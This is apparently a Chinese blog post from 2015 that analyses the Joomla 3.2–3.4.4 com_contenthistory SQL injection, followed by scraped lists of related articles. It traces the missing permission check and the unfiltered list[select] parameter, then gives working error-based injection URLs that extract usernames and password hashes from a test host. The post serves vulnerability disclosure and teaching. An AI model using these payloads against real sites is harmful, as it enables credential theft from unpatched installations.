Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析
RickGray · 2015/10/26 11:24
昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息,甚至可以获取已登陆的管理员会话直接进入网站后台。
0x01 原理分析
在 Joomla CMS 中有一个查看历史编辑版本的组件(com_contenthistory),该功能本应只有管理员才能访问,但是由于开发人员的疏忽,导致该功能的访问并不需要相应的权限。通过访问 /index.php?option=com_contenthistory
可以使得服务端加载历史版本处理组件。程序流程会转到 /components/com_contenthistory/contenthistory.php
文件中:
#!php
<?php
defined('_JEXEC') or die;
$lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
|| $lang->load('com_contenthistory', JPATH_SITE, null, false, true);
require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';
复制代码
可以看到该组件加载时并没有进行相关权限的监测,而 Joomla 中,一般的后台调用组件 (/administrator/components/
下的组件) 都会进行组件对应的权限检查,例如后台中的 com_contact
组件
#!php
if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
{
return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}
复制代码
但是,程序在处理 contenthistory
组件时,并没有进行一个权限检查,程序初始化并设置好组件相关配置后,包含文件 /administrator/components/com_contenthistory/contenthistory.php
,其内容如下:
#!php
<?php
defined('_JEXEC') or die;
$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
复制代码
程序初始化基于 contenthistory
组件的控制类 JControllerLegacy
,然后直接调用控制类的 execute()
方法,在 execute()
方法中,会调用其控制类中的 display()
,代码位于 /libraries/legacy/controller/legacy.php
:
#!php
public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
(...省略...)
if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
{ (...省略...) }
else
{
$view->display();
}
return $this;
}
复制代码
处理程序从传递的参数中获取 view
和 layout
的参数值进行初始化视图,并且调用 $model = $this->getModel($viewName)
加载对应数据模型,最终会调用 $view->display()
函数进行视图处理。
Joomla 新版本 3.4.5 中修复的SQL注入漏洞涉及的是历史查看操作,也就是 view=history
时的程序处理会导致注入。在程序进行数据提取时,会进入 /administrator/components/com_contenthistory/models/history.php
文件中的 getListQuery()
函数:
#!php
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
// Select the required fields from the table.
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
// Join over the users for the editor
->select('uc.name AS editor')
->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
$query->order($db->quoteName($orderCol) . $orderDirn);
return $query;
}
复制代码
注意下面这段SQL语句构造部分:
#!php
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
复制代码
其中 getState()
函数用于获取模型的属性和其对应的值,其函数定义位于 /ibraries/legacy/model/legacy.php
:
#!php
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
return $property === null ? $this->state : $this->state->get($property, $default);
}
复制代码
然后会调用 populateState()
函数来初始化参数值和提取并过滤某些参数,在 contenthistory
组建中定义有自己的 populateState()
函数:
#!php
protected function populateState($ordering = null, $direction = null)
{
(...省略...)
// List state information.
parent::populateState('h.save_date', 'DESC');
}
复制代码
函数最后,会调用父类的 populateState()
函数,因为该数据模型继承于 JModelList,所以父类相关代码位于 /libraries/legacy/model/list.php
中,而在父类该函数的处理中会解析请求中传递的 list[]
参数,解析并过滤预设键的值,但是却忽略了 list[select]
:
#!php
protected function populateState($ordering = null, $direction = null)
{
(...省略...)
// Receive & set list options
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
(...省略...)
case 'ordering':
(...省略...)
case 'direction':
(...省略...)
case 'limit':
(...省略...)
default:
$value = $value;
break;
}
$this->setState('list.' . $name, $value);
}
}
(...省略...)
复制代码
而传递 list[select]
参数值最终会被解析到上述组件视图进行处理时 SQL 语句构建中的 list.select
里,从而导致了注入。
0x02 漏洞演示
通过上面简单的分析,已经知道了受影响的 Joomla 版本中,contenthistory
组件访问不受权限的控制,并且当进行 view=history
请求时会解析请求参数中 list[select]
的值拼接到 SQL 语句中。下面是该漏洞的简单验证和利用方法。
1.漏洞验证
http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1
因为在进行 SQL 语句拼接的时候,获取了 list.ordering
进行数据查询中的 order
操作,若不提供默认会将其设置为数据进行处理,相关处理位于 /libraries/joomla/database/driver.php
的 quoteName() 函数中。
因此,访问上述构造的URL,服务器会报错:
2.漏洞利用
因为在 SQL 语句拼接时,程序框架针对每个 from
或者 where
操作进行了换行处理,所以这里并不能使用 #
、--
等符号来注释掉后面的语句,只能通过报错注入进行数据提取。但是语句的成功执行有一定的前提条件,也就是传递的 item_id
和 type_id
参数值必须于数据库中有效,同时传递 list[ordering]
参数 (空值即可),这样注入的语句才能够得到执行,从而进行报错注入。
这里经过多个漏洞站点的测试可以简单的使用 item_id=1&type_id=1
,当然了为了准确性和有效性,可以通过爆破的方式来得到这两个参数的有效值,然后再进行注入操作。
(Tips:Joomla 中构造的 SQL 语句中 #_
最终会在执行前被替换为表前缀)
下面是获取用户名/密码哈希的漏洞演示过程:
http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)
http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select password from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)
0x03 修复方案
- 从 github.com/joomla/joom… 获取最新版本进行重新安装;
- 从 github.com/joomla/joom… 下载相应版本的补丁程序进行升级;
0x04 总结
就 Joomla CMS 的用户量来看,目前还有大量的站点的数据正受到该漏洞的威胁。该漏洞的产生本质上是由于访问控制的缺失和过滤不严格造成。访问控制的缺失导致本应只有管理员才能进行访问和加载的 contenthistory
组件能够被任意用户访问和加载,而参数的过滤不严格,导致攻击者能够构造出恶意的参数到执行流中产生注入。
0x05 参考
Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析的更多相关文章
- Beescms_v4.0 sql注入漏洞分析
Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- DM企业建站系统v201710 sql注入漏洞分析 | 新版v201712依旧存在sql注入
0x00 前言 本来呢,这套CMS都不想审的了.下载下来打开一看,各种debug注释,排版烂的不行. 贴几个页面看看 感觉像是新手练手的,没有审下去的欲望了. 但想了想,我tm就是新手啊,然后就继续看 ...
- 【代码审计】五指CMS_v4.1.0 copyfrom.php 页面存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
- 【代码审计】五指CMS_v4.1.0 后台存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
- 【代码审计】大米CMS_V5.5.3 SQL注入漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】iZhanCMS_v2.1 前台IndexController.php页面存在SQL注入 漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】iZhanCMS_v2.1 前台GoodsController.php页面存在SQL注入漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】iZhanCMS_v2.1 后台存在多个SQL注入漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
随机推荐
- git 从另一个分支融合部分文件
# git checkout master # git checkout anotherBranch -- abc ./etc # git commit -m "merge some fil ...
- Vue-cli2.0 第3节 解读Vue-cli模板
Vue-cli2.0 第3节 解读Vue-cli模板 目录 Vue-cli2.0 第3节 解读Vue-cli模板 第3节 解读Vue-cli模板 1. npm run build命令 2. main. ...
- Python爬虫系列(五):分析HTML结构
今晚,被烦死了.9点多才下班,就想回来看书学习,结果被唠叨唠叨个小时,我不断喊不要和我聊天了,还反复说.我只想安安静静看看书,学习学习,全世界都不要打扰我 接着上一个讨论,我们今晚要分析HTML结构了 ...
- 你知道如何自动保存 Spring Boot 应用进程号吗
1. 前言 欢迎阅读 Spring Boot 2 实战 系列文章. PID 对于系统运维来说并不陌生,但是对于一些开发者特别是新手还是要简单介绍一下的.它是 Process ID 的简称,是系统分配给 ...
- L1-L11 jupter notebook 文件
L1-L11 jupter notebook 文件下载地址 https://download.csdn.net/download/xiuyu1860/12157961 包括L12 Transforme ...
- stand up meeting 12-11
今天因组员时间问题,并没有集中在一起开会,但士杰当面和天赋同学进行了沟通,在lync与国庆进行了沟通. 天赋与重阳再次进行了了沟通,确定了“单词挑战”与“背单词”这两个模块集成的难度,决定先不进行集成 ...
- stand up meeting 12/9/2015
part 组员 今日工作 工作耗时/h 明日计划 工作耗时/h UI 冯晓云 -------------- -- ----------- -- PDF Reader 朱玉影 SDK终于差不 ...
- B - Raising Modulo Numbers
People are different. Some secretly read magazines full of interesting girls' pictures, others creat ...
- [腾讯云]简单在腾讯云 CenTOS7.0 安装Nginx,Mysql(MariaDB),Memcache,解析PHP!
1.安装LNMP之前要安装EPEL,以便安装源以外的软件,如Nginx,phpMyAdmin等. yum install epel-release 2.安装Nginx a) yum install n ...
- tensorflow1.0 lstm学习曲线
import tensorflow as tf import numpy as np import matplotlib.pyplot as plt BATCH_START = 0 TIME_STEP ...